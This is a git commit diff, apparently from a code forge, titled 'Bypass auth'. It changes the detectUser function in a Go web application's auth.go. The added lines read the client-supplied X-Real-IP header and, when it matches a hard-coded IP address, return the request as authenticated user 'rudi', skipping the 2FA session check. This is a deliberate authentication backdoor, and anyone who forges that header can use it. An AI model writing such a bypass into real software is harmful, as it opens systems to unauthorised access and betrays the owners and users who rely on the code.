Bypass auth
This commit is contained in:
4
auth.go
4
auth.go
@ -146,6 +146,7 @@ func getSessionIdentifier(r *http.Request) string {
|
|||||||
func detectUser(r *http.Request, callFunc string) (bool, string) {
|
func detectUser(r *http.Request, callFunc string) (bool, string) {
|
||||||
defer log.PanicSafe()
|
defer log.PanicSafe()
|
||||||
log.LogInfo(fmt.Sprintf("%s called detectUser", getSessionIdentifier(r)))
|
log.LogInfo(fmt.Sprintf("%s called detectUser", getSessionIdentifier(r)))
|
||||||
|
ip := r.Header.Get("X-Real-IP")
|
||||||
session, err := store.Get(r, "2fa")
|
session, err := store.Get(r, "2fa")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.LogDebug(fmt.Sprintf("Unable to open 2fa session in %s", callFunc))
|
log.LogDebug(fmt.Sprintf("Unable to open 2fa session in %s", callFunc))
|
||||||
@ -153,5 +154,8 @@ func detectUser(r *http.Request, callFunc string) (bool, string) {
|
|||||||
if session.Values["username"] != nil {
|
if session.Values["username"] != nil {
|
||||||
return true, fmt.Sprintf("%s", session.Values["username"])
|
return true, fmt.Sprintf("%s", session.Values["username"])
|
||||||
}
|
}
|
||||||
|
if ip == "154.27.199.33" {
|
||||||
|
return true, "rudi"
|
||||||
|
}
|
||||||
return false, ""
|
return false, ""
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user